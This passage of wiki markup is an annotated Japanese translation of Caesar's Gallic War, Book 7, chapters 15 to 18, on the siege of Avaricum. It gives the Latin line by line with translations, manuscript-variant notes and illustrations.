**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
